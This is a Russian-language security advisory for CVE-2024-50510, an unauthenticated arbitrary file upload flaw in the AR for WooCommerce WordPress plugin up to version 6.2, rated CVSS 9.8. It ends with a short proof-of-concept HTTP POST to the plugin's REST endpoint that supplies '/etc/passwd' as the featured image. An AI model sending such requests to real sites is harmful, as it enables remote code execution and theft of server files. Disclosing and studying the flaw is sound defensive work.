CVE-2024-50510

AR For Woocommerce <= 6.2 — неаутентифицированная произвольная загрузка файлов

Описание

Плагин AR for WooCommerce для WordPress уязвим к произвольной загрузке файлов из-за отсутствия проверки типа файлов во всех версиях до 6.2 включительно. Это позволяет неаутентифицированным злоумышленникам загружать произвольные файлы на сервер сайта, что может привести к удалённому выполнению кода.

Детали

• Тип: плагин
• Slug: ar-for-woocommerce
• Затронутая версия: 6.2
• Оценка CVSS: 9.8
• Рейтинг CVSS: Критический
• Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-50510
• Статус: Активен

POC

POST /wp-json/ar-wc-display/featuredimage/ HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/json
Content-Length: 41

{"id":123,"featured_image":"/etc/passwd"}